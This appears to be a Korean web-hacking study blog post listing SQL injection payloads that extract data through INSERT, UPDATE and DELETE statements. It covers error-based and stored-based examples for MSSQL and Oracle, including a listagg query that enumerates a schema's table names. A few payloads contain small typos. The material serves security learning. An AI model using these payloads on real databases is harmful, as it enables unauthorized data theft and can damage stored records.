Oh! JUN
INSERT, UPDATE, DELETE 구문에 대한 데이터 조회 공격 기법 본문
※ MYSQL은 연결연산자가 특정기호가 없기 때문에 사용불가
★ 되도록이면 INSERT, UPDATE, DELETE 구문은 사용하지 않는게 좋음. (데이터를 건들 수 있어서... 잘못하면 큰일남)
ERROR-BASED |
MSSQL 공격 예시 |
1. INSERT INTO board VALUES('Data', ''+convert(int, @@version)+'', 'DATA') 2. UPDATE board SET title='DATA', content=''+convert(int, @@version)+''...WHERE idx=100 3. UPDATE board SET title='', content=''... WHERE idx=@@version 4. DELETE FROM board WHERE idx=@@version |
ORACLE 공격 예시 |
1. INSERT INTO board VALUES ('DATA', ''||ORDSYS.ORD_DICOM.GETMAPPINGPATH(user)||'', 'DATA') 2. UPDATE board SET title='DATA', content=''||ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user)||''... WHERE idx=100 3. UPDATE board SET title='', ... WHERE idx=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user) 4. DELETE FROM board where idx=ORDSYS.ORD_DICOM.GETMAPPINGXPATH(user) |
★STORED-BASED★ |
MSSQL 공격 예시 |
1. INSERT INTO board VALUES ('DATA', ''+@@version+'', 'DATA') 2. UPDATE board SET title='DATA', content=''+@@version''... WHERE idx=100 |
ORACLE 공격 예시 |
1. INSERT INTO board VALUES ('DATA', ''||user||'', 'DATA') 2. UPDATE board SEt title='DATA', content=''||user||''... WHERE idx=100 |
게시판 등록 쿼리를 예상해보면
INSERT INTO TB_BOARD VALUES ('Title', 'Writer', 'Password', 'Contents')
Contents 건들면
INSERT INTO TB_BOARD VALUES ('Title', 'Writer', 'Password', ''||(select listagg(table_name, '###') from all_tables where owner='C##CREHACKTIVE')||'')
C##CREHACKTIVE 사용자의 테이블을 검색
※TIP
저번에 자세하게 적긴 했는데 다시 한번 상기시키는 차원에서 써보자면
''||user||'' 이렇게 쿼리가 있으면 ''은 작은따옴표 사이에 아무것도 없으니까 공백
||은 Oracle에서 연결연산자
정리하면 'user' 이렇게 된다.
'웹 해킹 > SQL Injection' 카테고리의 다른 글
SQL Injection을 통한 데이터 조회 공격 실습 (0) | 2022.10.02 |
---|---|
SQL Injection을 통한 파일 다운로드 취약점 공격 실습 (0) | 2022.10.02 |
그룹핑을 활용한 데이터 조회 공격 (0) | 2022.09.29 |
Primarykey-Based Technique 공격 실습(feat.Burp Suite 자동화 도구 사용법) (0) | 2022.09.25 |
Multiple Search Technique-3 공격 실습(Content-Based SQL Injection + Response-Based SQL Injection) (0) | 2022.09.24 |